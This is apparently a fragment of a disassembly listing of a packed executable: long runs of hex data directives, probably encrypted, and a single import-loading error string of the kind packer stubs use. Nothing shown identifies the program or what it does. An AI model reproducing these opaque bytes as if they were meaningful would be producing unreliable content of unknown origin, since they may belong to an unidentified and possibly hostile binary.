		dd 78255319h, 44155BDDh, 533508E6h, 584EE6A3h, 60C8D1E7h
		dd 3D1AEB45h, 0CE600E6Ch, 25534B42h, 0DB741ECFh, 5D132466h
		dd 6DFFAF80h, 25534A59h, 0BE8B96Ah, 9B9CE650h, 0D02704D5h
		dd 0AB96EE2Ch, 0BB861FC9h, 29FCDCB9h, 89059747h, 0A25534Ah
		dd 2B16AF59h, 87B16C49h, 0B35B0CE9h, 66241D67h,	2BD9ACEh
		dd 88593632h, 8436E6B7h, 534AE2F2h, 0E03EEF25h,	10A29F38h
		dd 553DFEAh, 0FEDBAC86h, 0BD6D0F1Eh, 84E84E0Bh,	0D0709826h
		dd 0F0A12553h, 0BBB58340h, 1C1CB55Dh, 86977754h, 0D28436E6h
		dd 714E2215h, 0D0FC10A0h, 0B07F2553h, 5BBA5725h, 3B994A4Fh
		dd 53B369ADh, 457A0F25h, 0AB332AF4h, 0D4E0291Ch, 0CC2B8141h
		dd 10BA6B6Eh, 0FD73C582h, 4AD2856Ah, 0A2007D51h, 472D14FBh
		dd 2B49DF9Dh, 350CC97Bh, 3391623Fh, 45A6FCA5h, 72CF8C1Fh
		dd 0F0A1A402h, 0BBB58340h, 0B0C07811h, 3F25F3D3h, 5830FD8Fh
		dd 8A3E6A7h, 926F4030h,	8756F602h, 6E0A20D6h, 750D2CBEh
		dd 696EC80h, 0EA696074h, 0EFC071C8h, 8AEA5712h,	17A3A117h
		dd 6A580E7h, 4FFh, 580272C8h, 4AF474BFh, 3EE884B1h, 2FD98FA5h
		dd 22CCA096h, 40F6CDAAh, 4EE9822Ch, 59DF7822h, 6DD46D17h
		dd 0E5775D07h, 614D4353h, 63EA5023h, 0D77959EFh, 8FD4B884h
		dd 0F078BC77h, 0C1714213h, 45F25A2Fh, 5B38E91Fh, 0A0533ECBh
		dd 0F3B042DCh, 7E4F2C44h, 53A83CCEh, 8839DCA0h,	0EF96842Ah
		dd 0ED1DCDFDh, 9D7Ch, 2611CE00h, 3E9C6D4Ah, 0A6FB3F97h
		dd 469C2542h, 5FD6B48Dh, 0A6089C2Eh, 0E8992542h, 0DE9C4617h
		dd 0E97B2B49h, 2542A6ADh, 0D08D3DEEh, 5A2B0868h, 0DB6621FCh
		dd 1A31EF99h, 5F1CCE7Eh, 0BBB98D8h, 42A66579h, 0F4C57625h
		dd 0A68C0896h, 5C0D2542h, 0F77DC47Fh, 0C3AD8A47h, 28FFBD65h
		dd 9E0A9C4Ch, 232542A6h, 0F5059572h, 0AC254266h, 0C07D1208h
		dd 3F290B73h, 85F7DB6Eh, 0C6712BD8h, 0F8BD8A68h, 0BDA75666h
		dd 4D62D5DAh, 2A682749h, 0F3A37425h, 0BDAE2961h, 1FC97ADAh
		dd 0FFA2h, 59EFFD00h, 0DEF68B3Bh, 0EC5787DDh, 51F62830h
		dd 9465DDBCh, 73F68836h, 601F45D0h, 2017D2AFh, 53E3A050h
		dd 5513BB19h, 42F4A4FCh, 0DCB9AF85h, 0F31FAD0Bh, 20DCA1D2h
		dd 0B769D0ADh, 0EF40D627h, 73BF529Ah, 5D0DDE50h, 495B40C8h
		dd 68234F2Ah, 0F2C3A0D0h, 9A29B994h, 6B310B2Bh,	6C19ED6h
		dd 5E5E3B2Dh, 0F83E46D4h, 0F5C69774h, 4E37E36Dh, 0ED1C1B5Ch
		dd 87DBh, 62EF3400h, 0E4F88A3Ah, 4A2542A6h, 0E8C5AB8Dh
		dd 0A4BA8417h, 7A37D753h, 8B68191Ch, 982A67D0h,	25426904h
		dd 6913E495h, 2D14A6ABh, 0C8996A47h, 69C28618h,	1ECF2542h
		dd 0A819B141h, 40F42542h, 10BD3766h, 5A2B1A00h,	0FB75C27Dh
		dd 9976F640h, 53165ADEh, 0CC234BCFh, 60338B20h,	1BEE70DCh
		dd 5C0317BDh, 942EE9F5h, 0FA9E2EC0h, 7A2B2542h,	6942E0E7h
		dd 0F256E898h, 0F42542D5h, 1EBD595Fh, 6BC9643Eh, 860DB768h
		dd 32852D14h, 1109D917h, 12EF79BAh, 0C29F7041h,	8A3A3A07h
		dd 28056BCDh, 9351F957h, 9D2FDF85h, 1F455F94h, 0E1714EFFh
		dd 0DCA17EC9h, 384DCD57h, 0ED1CE0B6h, 2AC5h, 59EF1E00h
		dd 80F98B3Bh, 681F45A5h, 599024B6h, 7021DCA0h, 815E0F12h
		dd 0A059D9F1h, 3DDD67DCh, 1DC3A648h, 0C6D5EDh, 142E0000h
		dd 0AF6A472Dh, 2E46FB87h, 7CC5805Dh, 0AA8B48F8h, 0B614E5C2h
		dd 532120DBh, 0A38F3BA9h, 0E35E2542h, 0F34EE791h, 76C4A481h
		dd 1BB06212h, 92FC6B93h, 51DF3DB5h, 0E0BAC9F4h,	6926D687h
		dd 0F0C19ECAh, 8D6AFE35h, 28B65EBCh, 42A0C86Bh,	2B2D664h
		dd 0AA0FBC70h, 0AC5C0DE6h, 71F73DFAh, 0AC65C394h, 9F38E28Ah
		dd 0E662D597h, 43E0FDCAh, 225C968h, 4CEE0000h, 4EE57E28h
		dd 5ED7701Ah, 69CB640Eh, 7ABC55FFh, 13D048F2h, 0A8521A1Ch
		dd 9E48280Fh, 933D3305h, 832D47FAh, 65790B9Dh, 76236148h
		dd 621F8910h, 823B99D3h, 800EB8B4h, 19F67EC3h, 1031EA48h
		dd 6F2CBA64h, 9D31C3D2h, 2E2542A6h, 0A74EAC7Dh,	0CBDB6D1Fh
		dd 0D82542A6h, 5DEBC927h, 40D58737h, 0F73C591Bh, 0F4A0DE71h
		dd 0CE3BC927h, 551F4522h, 0A337C7A4h, 0ADDCA120h, 1C8EF723h
		dd 1BED1CBAh, 0E4h, 682D1474h, 42A6C6D6h, 5122D325h, 0EF7DB974h
		dd 1EB06212h, 2542A68Eh, 85AF6A1Bh, 0D73506E3h,	42A39149h
		dd 9FD56C25h, 8FE55CF5h, 0F24502B2h, 65041CBCh,	2BFC2C51h
		dd 3B59EFCDh, 0D3ACF98Bh, 9F2FE0BAh, 0CAEC450Ah, 87175F38h
		dd 0DCA05077h, 1F4DE984h, 15D37D4Eh, 0FFB16107h, 9441BB6Ah
		dd 0A858ECADh, 0A03A8616h, 46213DCh, 0AADF2776h, 5303B4E6h
		dd 1CCCA096h, 9C69F387h, 0FC5A5DAFh, 0C331C654h, 21F1ACE0h
		dd 0D795A15Ch, 12CB29FAh, 83D54824h, 0D2E0FD93h, 10158F7h
		dd 70CA0000h, 72C15A04h, 82B34CF6h, 8DA740EAh, 9E9831DBh
		dd 0CFAC24CEh, 842E3EF8h, 7A244CEBh, 6F1957E1h,	5F096BD6h
		dd 4155E779h, 52236149h, 221465ECh, 56E89A4Ah, 2542A646h
		dd 9C44A253h, 0F54C3E03h, 7D04AE7Fh, 97472D14h,	5D0B28E5h
		dd 42A639CDh, 4257CA25h, 80AA258Dh, 9974D2A3h, 11A537E9h
		dd 0A2254296h, 6F0136F1h, 0AA63C192h, 7533DD97h, 5411C1A7h
		dd 0DDAE8BE1h, 0E33FD17Fh, 701F2432h, 9D32E2BFh, 51E3C837h
		dd 0DC9E4EBDh, 9B0A9D4Eh, 1FD83630h, 0CDE17322h, 0DEDC9EE7h
		dd 19B25C2Dh, 0DF6F4C28h, 0F200AB19h, 0C1CE4CD0h, 5C392F04h
		dd 8D997A1h, 2450F1AAh,	47EB774h, 8E5F3C34h, 1EB75FBDh
		dd 0E4A15123h, 6D3E1B51h, 0BB79340Fh, 0CD79D0ADh, 0C375891Bh
		dd 0D5869BB3h, 3B49D177h, 2BC46E06h, 0D1815E16h, 121E693Ch
		dd 8220693Fh, 0BFA8D56h, 0AB48A692h, 3,	14B65D06h, 0B6714E26h
		dd 510CE98Bh, 0F1AC89E7h, 924D2A46h, 30EBC8A4h,	0CE896606h
		dd 6A250266h, 9C4A1CBh,	9C613E2Ah, 5B3668h, 240C8900h
		dd 12C368h, 243C8900h, 81E28952h, 4C2h,	4EA8100h, 87000000h
		dd 895C2414h, 0EC832414h, 24148904h, 23E487BAh,	5AD78906h
		dd 24148B54h, 8304C483h, 1C8904ECh, 89FB8924h, 0FF5B085Ah
		dd 835A2434h, 3C8B04C4h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 0F98EDDE9h, 70B806FFh,	30623F0h, 0C7E0FFC5h
		dd 203EA405h, 0FF321B0Eh, 602B8466h, 0AE13CFB6h, 7F6124F7h
		dd 0D11356FCh, 6804CC87h, 0C5492064h, 76368EB4h, 3069A21Eh
		dd 0A443DEBh, 0BE58BAC3h, 0B1B62A9h, 0CC2DD3B8h, 145E75B6h
		dd 3F130009h, 0E753FCAh, 0E2330498h, 1949EF41h,	4D546586h
		dd 1F2274A9h, 9D5D411Fh, 9358A4ABh, 6E0C6663h, 1154A17Ch
		dd 0E81970D2h, 0Eh, 8AAD2FF3h, 0D9CD5B8h, 4CA05CEBh, 8E9C3C9h
		dd 0B3000000h, 0D1EA2B20h, 5BA44CADh, 0FE8h, 6DB21000h
		dd 92EC3516h, 4F8A3AFEh, 60F2FD2Eh, 59D38B66h, 63B3C381h
		dd 8B660000h, 0BEC8h, 48B0000h,	70DEBF33h, 0F0817436h
		dd 2ABE6C09h, 0B501C081h, 800F6484h, 0Ch, 6870Fh, 810F0000h
		dd 0
		dd 7DE1F081h, 27BF0E3Eh, 894DCD27h, 0D08B3304h,	59FB8B57h
		dd 4FC9EE81h, 0BA662BF1h, 0C681911Fh, 2BF14FC5h, 6BDA8166h
		dd 1CFE81C6h, 0FFFFF9Dh, 1A85h,	30E9F800h, 0A6000000h
		dd 332AA38Fh, 852DCAEBh, 0B8F80690h, 651B73D3h,	0F5B6F62h
		dd 83E9C9BFh, 0F7FFFFFFh, 2ECCE5EAh, 95455BFCh,	22DCDBFEh
		dd 54A250D9h, 0E909131Ch, 127h,	73765B50h, 154EEFACh, 0
aAnErrorHasOcur	db 'An Error has ocurred while loading imports',0
		db 37h
		dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
		dd 777E600h, 5 dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 48000000h,	0F4C706E1h, 0CF63921Dh,	4B8F96A6h
		dd 11340870h, 35B11C13h, 422F1447h, 722B6166h, 0A9F29E35h
		dd 88321177h, 6E5B90EFh, 0BFBF137Bh, 172DB35Bh,	0D069C699h
		dd 4513A8E5h, 5632137Bh, 0A9614571h, 88321177h,	6E5B90EFh
		dd 0BFBF137Bh, 172DB64Ah, 0D069C699h, 0F9B1D5EDh, 2411E711h
		dd 1B61A66h, 5321566h, 67E7B3E3h, 0AFE2EA60h, 32E7C3E3h
		dd 4EE2EA60h, 592930E3h, 705A4360h, 0EEAEBDDEh,	952A10D3h
		dd 0BBB79860h, 0DD343511h, 64B79CB6h, 5340840h,	67C152E3h
		dd 0A7BF4560h, 1711E74Eh, 5A7EA36h, 83340854h, 3F14A8E3h
		dd 11321560h, 0ADB7D366h, 134087Dh, 505B7C0Eh, 0F487EAE8h
		dd 5340877h, 590896E3h,	0ABE2EA60h, 0C276CE3h, 0ADB7D360h
		dd 734087Dh, 45594B0Eh,	0F487EAFAh, 5340877h, 590896E3h
		dd 0ABE2EA60h, 32C04AE3h, 0ADB7D360h, 1034087Dh, 405A3C0Eh
		dd 0F487EA88h, 5340877h, 590896E3h, 0ABE2EA60h,	32C076E3h
		dd 0ADB7D360h, 134087Dh, 420AD70Eh, 0F487EABCh,	5340877h
		dd 590896E3h, 0ABE2EA60h, 32C072E3h, 498F9660h,	44340857h
		dd 22779069h, 94F41566h, 8E2F0E43h, 3AB47D23h, 97CDEF46h
		dd 172F0483h, 0B2B190EBh, 94CD137Bh, 0D05990EFh, 94F41345h
		dd 8E2F0E43h, 94F17D2Ah, 97CDF540h, 172F0483h, 0B2B190EBh
		dd 94CD137Bh, 0D05D90EFh, 51DB1345h, 4E321566h,	592930E3h
		dd 2F5A4760h, 0EE8E5F82h, 952730D3h, 0C7B79860h, 0DD34085Ch
		dd 7AB79CB6h, 4E343694h, 592930E3h, 6A5A4760h, 0EE94592Ch
		dd 952730D3h, 0C7B79860h, 0DD34085Ch, 7EB79CB6h, 4E343694h
		dd 592930E3h, 0C85A4760h, 0EECF57D2h, 9523F0D3h, 0C7B79860h
		dd 0DD34085Ch, 0E4B79CB6h, 4E340876h, 592930E3h, 815A6260h
		dd 0EEC182CEh, 952170D3h, 0C7B79860h, 0DD34085Ch, 38B79CB6h
		dd 4E340862h, 592930E3h, 355A4760h, 0EEB8C857h,	9523F0D3h
		dd 0C7B79860h, 0DD34085Ch, 0CCB79CB6h, 4E340843h, 592930E3h
		dd 1B5A4360h, 0EEE60A0Bh, 952A10D3h, 0BBB79860h, 0DD343511h
		dd 38B79CB6h, 4E34084Ah, 592930E3h, 585A5260h, 0EEB3C976h
		dd 9523F0D3h, 0C7B79860h, 0DD34085Ch, 5CB79CB6h, 4E34087Fh
		dd 592930E3h, 0C05A5260h, 0EEB81AD3h, 9523F0D3h, 0C7B79860h
		dd 0DD34085Ch, 9EB79CB6h, 0B343694h, 590264DBh,	0A63D1560h
		dd 11321337h, 931790A0h, 2C7E137Bh, 0FBE8098Fh,	0D7A099h
		dd 0DBF137Bh, 422F2FE5h, 0A7BBC599h, 1711E71Dh,	931790A0h
		dd 2C7E137Bh, 0FF46CBA8h, 0D7A099h, 0DBF137Bh, 422F2FE5h
		dd 0A7BBC599h, 1711E719h, 931790A0h, 2C7E137Bh,	95B39759h
		dd 0D7A099h, 0DBF137Bh,	422F2FE5h, 0A7BBC599h, 1711E7E5h
		dd 931790A0h, 2C7E137Bh, 911D557Eh, 0D7A099h, 0DBF137Bh
		dd 422F2FE5h, 0A7BBC599h, 1711E7E5h, 931790A0h,	2C74137Bh
		dd 98EC1372h, 0D7A099h,	0DBF137Bh, 422F2FE5h, 0A7BBC599h
		dd 1711E7EDh, 931790A0h, 2C75137Bh, 0A3EE051Ch,	0D7A099h
		dd 0DBF137Bh, 422F2FE5h, 0A7BBC599h, 1711E7F5h,	931790A0h
		dd 2C75137Bh, 0CDB59BCAh, 0D7A099h, 0DBF137Bh, 422F2FE5h
		dd 0A7BBC599h, 1711E7F1h, 931790A0h, 2C75137Bh,	0F6A8B2B4h
		dd 0D7A099h, 0DBF137Bh,	422F2FE5h, 0A7BBC599h, 1711E7FDh
		dd 931790A0h, 2C75137Bh, 98F32C62h, 0D7A099h, 0DBF137Bh
		dd 422F2FE5h, 0A7BBC599h, 1711E7F9h, 8D13A8E5h,	3132137Bh
		dd 7B7D346h, 5634087Dh,	0FA1F720Eh, 0A187EA86h,	0AF340877h
		dd 0C0896E3h, 1E2EA60h,	67C0B6E3h, 7B7D360h, 5634087Dh
		dd 0A181A40Eh, 0A187EAE8h, 0AF340877h, 0C0896E3h, 1E2EA60h
		dd 67C0B2E3h, 7B7D360h,	5234087Dh, 0FE78B20Eh, 0A187EAA6h
		dd 0AF340877h, 0C0896E3h, 1E2EA60h, 67C0BEE3h, 7B7D360h
		dd 5D34087Dh, 0EE5EFE0Eh, 2187EA9Dh, 0AF340875h, 0C0896E3h
		dd 1E2EA60h, 67C12AE3h,	7B7D360h, 5534087Dh, 0FBBC400Eh
		dd 0A187EADDh, 0AF340877h, 0C0896E3h, 1E2EA60h,	67C0BAE3h
		dd 7B7D360h, 5234087Dh,	65CE90Eh, 0A187EADAh, 0AF340877h
		dd 0C0896E3h, 1E2EA60h,	67C0A6E3h, 7B7D360h, 4234087Dh
		dd 980CBF0Eh, 0A187EAA0h, 0AF340877h, 0C0896E3h, 1E2EA60h
		dd 67C0A2E3h, 4F8F9660h, 11340869h, 88D29169h, 0C1F41566h
		dd 242F0E43h, 0DF037D20h, 3DCDEFF0h, 422F0483h,	18B190EBh
		dd 0C1CD137Bh, 7B2190EFh, 0C1F41345h, 242F0E43h, 2BE47D20h
		dd 3DCDE9C1h, 422F0483h, 18B190EBh, 0C1CD137Bh,	7B1190EFh
		dd 0C1F41345h, 242F0E43h, 0B5327D20h, 3DCD879Ah, 422F0483h
		dd 18B190EBh, 0C1CD137Bh, 7B1590EFh, 0C1F41345h, 242F0E43h
		dd 5E587D20h, 3DCDE3B2h, 422F0483h, 18B190EBh, 0C1CD137Bh
		dd 7B1990EFh, 0C1F41345h, 242F0E43h, 41D57D20h,	3DCD81ABh
		dd 422F0483h, 18B190EBh, 0C1CD137Bh, 7B2590EFh,	0C1F41345h
		dd 242F0E43h, 65097D20h, 3DCDA444h, 422F0483h, 18B190EBh
		dd 0C1CD137Bh, 7B2990EFh, 0C1F41345h, 242F0E43h, 0FBDF7D20h
		dd 3DCDCA1Fh, 422F0483h, 18B190EBh, 0C1CD137Bh,	7B2D90EFh
		dd 0F9B11345h, 242F1047h, 0D7126066h, 952930E3h, 1A5A4660h
		dd 0DDFCAB86h, 0C23F0D3h, 0BB79860h, 0BB34085Ch, 99B79CB6h
		dd 0D7343694h, 952930E3h, 0C35A5260h, 0DDF5A438h, 0C23F0D3h
		dd 0BB79860h, 0BB34085Ch, 9DB79CB6h, 92343694h,	953734DBh
		dd 64471560h, 391790A0h, 7975137Bh, 6E506B63h, 55D7A099h
		dd 0A7BF137Bh, 172F2FE5h, 0DBBC599h, 4211E7A5h,	391790A0h
		dd 7971137Bh, 1A481C90h, 55D7A099h, 0A7BF137Bh,	172F2FE5h
		dd 0DBBC599h, 4211E7A1h, 391790A0h, 7971137Bh, 74138246h
		dd 55D7A099h, 0A7BF137Bh, 172F2FE5h, 0DBBC599h,	4211E7ADh
		dd 2713A8E5h, 6432137Bh, 0ADB7D326h, 734087Dh, 229A160Eh
		dd 0F487EAEDh, 5340877h, 590896E3h, 0ABE2EA60h,	32C0C6E3h
		dd 0ADB7D360h, 734087Dh, 7904C00Eh, 0F487EA83h,	5340877h
		dd 590896E3h, 0ABE2EA60h, 32C0DAE3h, 0ADB7D360h, 734087Dh
		dd 8800F40Eh, 0F487EA8Ch, 5340877h, 590896E3h, 0ABE2EA60h
		dd 32C0C2E3h, 0ADB7D360h, 734087Dh, 0D39E220Eh,	0F487EAE2h
		dd 5340877h, 590896E3h,	0ABE2EA60h, 32C0CEE3h, 0ADB7D360h
		dd 0B34087Dh, 17A2C10Eh, 0F487EAF1h, 5340877h, 590896E3h
		dd 0ABE2EA60h, 32C0CAE3h, 0ADB7D360h, 0B34087Dh, 4C3C170Eh
		dd 0F487EA9Fh, 5340877h, 590896E3h, 0ABE2EA60h,	32C0F6E3h
		dd 0ADB7D360h, 934087Dh, 154B5C0Eh, 0F487EAAEh,	5340877h
		dd 590896E3h, 0ABE2EA60h, 32C0FEE3h, 0ADB7D360h, 934087Dh
		dd 0D57F9C0Eh, 0F487EABAh, 5340877h, 590896E3h,	0ABE2EA60h
		dd 32C0F2E3h, 0ADB7D360h, 1134087Dh, 391F220Eh,	0F487EAFAh
		dd 5340877h, 590896E3h,	0ABE2EA60h, 32C0FAE3h, 0ADB7D360h
		dd 734087Dh, 0F7C23F0Eh, 0F487EAB4h, 5340877h, 590896E3h
		dd 0ABE2EA60h, 32C0E6E3h, 0ADB7D360h, 1634087Dh, 6086FF0Eh
		dd 0F487EA9Bh, 5340877h, 590896E3h, 0ABE2EA60h,	0C22E0E3h
		dd 0ADB7D360h, 334087Dh, 0BA6B8C0Eh, 0F487EA84h, 5340877h
		dd 590896E3h, 0ABE2EA60h, 32C0E2E3h, 0ADB7D360h, 334087Dh
		dd 0DF52D70Eh, 0F487EAD7h, 5340877h, 590896E3h,	0ABE2EA60h
		dd 32C0EEE3h, 0ADB7D360h, 334087Dh, 84CC010Eh, 0F487EAB9h
		dd 5340877h, 590896E3h
		dd 0ABE2EA60h, 32C0EAE3h, 0ADB7D360h, 1B34087Dh, 72C07D0Eh
		dd 0F487EAF8h, 5340877h, 590896E3h, 0ABE2EA60h,	32C116E3h
		dd 0ADB7D360h, 0B34087Dh, 0DE492A0Eh, 0F487EAA1h, 5340877h
		dd 590896E3h, 0ABE2EA60h, 32C13AE3h, 0ADB7D360h, 334087Dh
		dd 795C590Eh, 0F487EA9Ch, 5340877h, 590896E3h, 0ABE2EA60h
		dd 32C126E3h, 0ADB7D360h, 334087Dh, 2416D80Eh, 0F487EAA5h
		dd 5340877h, 590896E3h,	0ABE2EA60h, 32C122E3h, 0ADB7D360h
		dd 1B34087Dh, 9952D90Eh, 0F487EAB2h, 5340877h, 590896E3h
		dd 0ABE2EA60h, 32C112E3h, 0ADB7D360h, 1B34087Dh, 0CB665B0Eh
		dd 0F487EAF8h, 5340877h, 590896E3h, 0ABE2EA60h,	32C11EE3h
		dd 0ADB7D360h, 1B34087Dh, 311A5D0Eh, 0F487EAB7h, 5340877h
		dd 590896E3h, 0ABE2EA60h, 32C11AE3h, 0E0367F60h, 44320566h
		dd 2222150Eh, 0EE327F66h, 951460F3h, 7DB79C60h,	0AF34084Ah
		dd 3280CBE3h, 0E2E2EA60h, 54327D62h, 225A1566h,	7B321546h
		dd 0FDA7EA66h, 0CD340840h, 3F0230E3h, 0FCB79C60h, 0E234087Ch
		dd 54327D26h, 225A1566h, 7B321466h, 0FDA7EA66h,	0CD340840h
		dd 3F2AA4E3h, 4C879E60h, 3340856h, 591F30FBh, 0EB879C60h
		dd 98340843h, 951B64FBh, 61AF9E60h, 0A934084Bh,	11CB966Dh
		dd 82ED9169h, 15621566h, 0ABF22606h, 0C313CE3h,	880EAB60h
		dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
		dd 9FBB0D18h, 172F3B3Bh, 0D3DEAE3h, 4432156Ch, 22231B8Eh
		dd 11A3FC66h, 3631566h,	40E07EB1h, 266780EFh, 1558137Bh
		dd 8822150Eh, 44584766h, 4478099h, 94BB137Bh, 8E2F34BFh
		dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
		dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 7D8F9EB1h, 0A134084Ah
		dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
		dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 95313CE3h
		dd 6DA79E60h, 1B340865h, 0C1C48F3h, 82B61A60h, 1E321566h
		dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 242F0267h
		dd 11321566h, 895390A1h, 4432137Bh, 9FB11566h, 1711E711h
		dd 80B61A66h, 0C9321566h, 17F04FBh, 0EEE1EA60h,	952A74E3h
		dd 258F9660h, 4634087Eh, 11509769h, 0DF51566h, 422F0D07h
		dd 22321567h, 5E879806h, 5343695h, 603DAFDBh, 0A9CC3E60h
		dd 288F9EB1h, 0B34084Ah, 8401EAAFh, 0E30013ECh,	96369E20h
		dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 8C87905Fh
		dd 0C03D137Bh, 22321571h, 37FBA8E5h, 8732137Bh,	44321FE3h
		dd 9FB7D266h, 10340840h, 0E9321566h, 0E2AF3EDFh, 33F9AF1Ah
		dd 989F67F2h, 9517DCD3h, 0B874D260h, 22321566h,	0FFDCFB5Bh
		dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
		dd 44321560h, 26F49666h, 34FBA0EFh, 71DB137Bh, 0CF32156Eh
		dd 9FB726BEh, 0D0340840h, 4A1916AEh, 7722D5A7h,	9FAF9CA7h
		dd 2C340840h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
		dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 9517DCD3h
		dd 61AF9E60h, 0A934084Bh, 71E29E6Dh, 0D19D7EDh,	422F06F7h
		dd 2130F5A7h, 0C2750E3h, 8B9F8360h, 60769CA7h, 5EDB747Ah
		dd 40321566h, 3FB2634h,	5913CCF3h, 2D302E60h, 11322DE2h
		dd 8CF09666h, 19BF2E27h, 2D340848h, 0EECDFDE3h,	0BC879899h
		dd 0C9343694h, 3F1108DBh, 0D1B6B960h, 88349169h, 0AD981566h
		dd 0DDCDEA97h, 113215DEh, 1BF9866h, 0BB34082Ah,	0BBF9C87h
		dd 4B340865h, 15B9433Fh, 422F3843h, 0A7B91EEDh,	172F164Fh
		dd 0D31F5B7h, 422F1A63h, 44A4E355h, 13D2D4CBh, 9D779065h
		dd 0E9A4137Bh, 0A16CD465h, 0C1838DBh, 0C3D1460h, 4432155Fh
		dd 33D7985Dh, 953D137Bh, 8832154Bh, 5757985Dh, 0A63D137Bh
		dd 11321547h, 0BB67985Dh, 0C03D137Bh, 22321573h, 16A088EBh
		dd 5BCD1342h, 0C1BBEDEDh, 242F132Bh, 1134A18Fh,	1AAF9866h
		dd 0BB343161h, 0F8F96B5h, 1134084Ch, 882F9169h,	0C1091566h
		dd 242F0E77h, 113E9169h, 0D091566h, 422F0743h, 22379069h
		dd 0A8DB1566h, 0B3CDEA99h, 59276CE3h, 3AB71A60h, 92321566h
		dd 9503D4DBh, 0C13D1560h, 2232156Dh, 0DE6590EBh, 1DDB1345h
		dd 7FCDEA99h, 3F276CE3h, 98B61A60h, 0BCDEA99h, 67C025DBh
		dd 0A73D1460h, 11321571h, 7ABD905Dh, 0C13D1345h, 2232156Dh
		dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 538F9699h, 11340856h
		dd 8B559169h, 0C1091566h, 2411E71Dh, 94B91213h,	8E2F25F3h
		dd 0C7B72E21h, 57343694h, 10B79E61h, 0CF34086Fh, 0B64D905Dh
		dd 25471345h, 96B90EDh,	0B375137Bh, 67C092E3h, 0A9356060h
		dd 0C3D0CE3h, 0D095260h, 4211E7EDh, 0A7B91213h,	172F124Fh
		dd 7B72E21h, 31343694h,	57B79E61h, 56340875h, 7AA1905Dh
		dd 43471345h, 0D790EDh,	2A75137Bh, 0ABC082E3h, 0CF356060h
		dd 3F1804E3h, 94095260h, 8E11E7FDh, 0C1B91213h,	242F1113h
		dd 8EB72E21h, 0FD343694h, 15B79E61h, 65340875h,	0E395905Dh
		dd 8F471345h, 529F90EDh, 1975137Bh, 32C0B6E3h, 0B226060h
		dd 593734DBh, 25471560h, 1E6390EDh, 0B75137Bh, 59294CDBh
		dd 2D461560h, 0E21D905Dh, 8F471345h, 6F1390EDh,	0A175137Bh
		dd 0C3D78DBh, 0FA461560h, 4697A8E5h, 5632137Bh,	2B72E0Fh
		dd 0FD343695h, 0C1B79E61h, 65340857h, 0E211905Dh, 8F471345h
		dd 593F90EDh, 1975137Bh, 32C102E3h, 3356060h, 5900CCE3h
		dd 0A7095260h, 1711E641h, 0DB91213h, 422F058Fh,	9B72E21h
		dd 64343695h, 29B79E61h, 3340875h, 0D129905Dh, 16471345h
		dd 0A8BB90EDh, 7F75137Bh, 1C10AE3h, 9A356060h, 95381CE3h
		dd 0F9B15260h, 242F17C3h, 1BB61A66h, 0B3321564h, 67C0BEE3h
		dd 0A9356060h, 0C1010E3h, 0D095260h, 4211E659h,	0A7B91213h
		dd 172F3BCBh, 27B72E21h, 31343694h, 83B79E61h, 5634084Fh
		dd 7A81905Dh, 43471345h, 3F7B90EDh, 2A75137Bh, 0ABC0A2E3h
		dd 0CF356060h, 3F1E40E3h, 94095260h, 8E11E7DDh,	0F9B10513h
		dd 242F1047h, 9A356066h, 951900E3h, 0C1095260h,	2411E7D9h
		dd 94B91213h, 8E2F24D3h, 87B72E21h, 57343694h, 308F9676h
		dd 88340863h, 0C1B91213h, 242F1723h, 0D6B72E21h, 0FD343694h
		dd 8DB79E61h, 6534084Eh, 0E3F9905Dh, 8F471345h,	6FDB90EDh
		dd 1975137Bh, 32C0C6E3h, 0B226060h, 593734DBh, 25471560h
		dd 17FF90EDh, 0B375137Bh, 67C0DAE3h, 0A1226060h, 0C3734DBh
		dd 8F471560h, 50C790EDh, 1975137Bh, 32C0C2E3h, 3356060h
		dd 5914B8E3h, 0A7095260h, 1711E7BDh, 0DB91213h,	422F34A3h
		dd 0FDB72E21h, 64343694h, 15B79E61h, 3340860h, 0D0D1905Dh
		dd 16471345h, 0AF5790EDh, 7F75137Bh, 1C0F2E3h, 9A356060h
		dd 953E20E3h, 0C1095260h, 2411E78Dh, 94B91213h,	8E2F254Bh
		dd 0ABB72E21h, 57343694h, 0CCB79E61h, 0CF340873h, 0B6C1905Dh
		dd 25471345h, 312390EDh, 0B375137Bh, 5922E0E3h,	0A9356060h
		dd 0C21F4E3h, 0D095260h, 4211E791h, 0A7B91213h,	172F11B7h
		dd 0BBB72E21h, 31343695h, 198F967Fh, 11343695h,	35B11C13h
		dd 422F3F4Bh, 0A9356166h, 0C1ED8E3h, 0D095260h,	4211E651h
		dd 9FB10C13h, 1711E65Dh, 0B3B6066h, 591838DBh, 25461560h
		dd 323390EDh, 0B375137Bh, 67C0EEE3h, 0A9356060h, 0C0370E3h
		dd 0D095260h, 4211E799h
		dd 0A7B91213h, 172F160Fh, 8BB72E21h, 31343695h,	3FB79E61h
		dd 56340870h, 7B35905Dh, 43471345h, 131390EDh, 2A75137Bh
		dd 0ABC11EE3h, 0CF356060h, 3F26B0E3h, 94095260h, 8E11E669h
		dd 0C1B91213h, 242F3763h, 1ECD1E21h, 883210E2h,	0BFD8FC66h
		dd 0A709EA99h, 172F114Fh, 88399069h, 0C1BF1566h, 24119A1Eh
		dd 0EEC9C68Fh, 55B72E99h, 4B340843h, 22320DE3h,	218F9666h
		dd 89343694h, 44399069h, 0A7BF1566h, 116AF345h,	77C9BA8Fh
		dd 2FB72E99h, 2D343694h, 113219E2h, 0E7B72E66h,	4B343694h
		dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
		dd 11321523h, 7A6D905Dh, 0C13D1345h, 2232156Dh,	73D690EBh
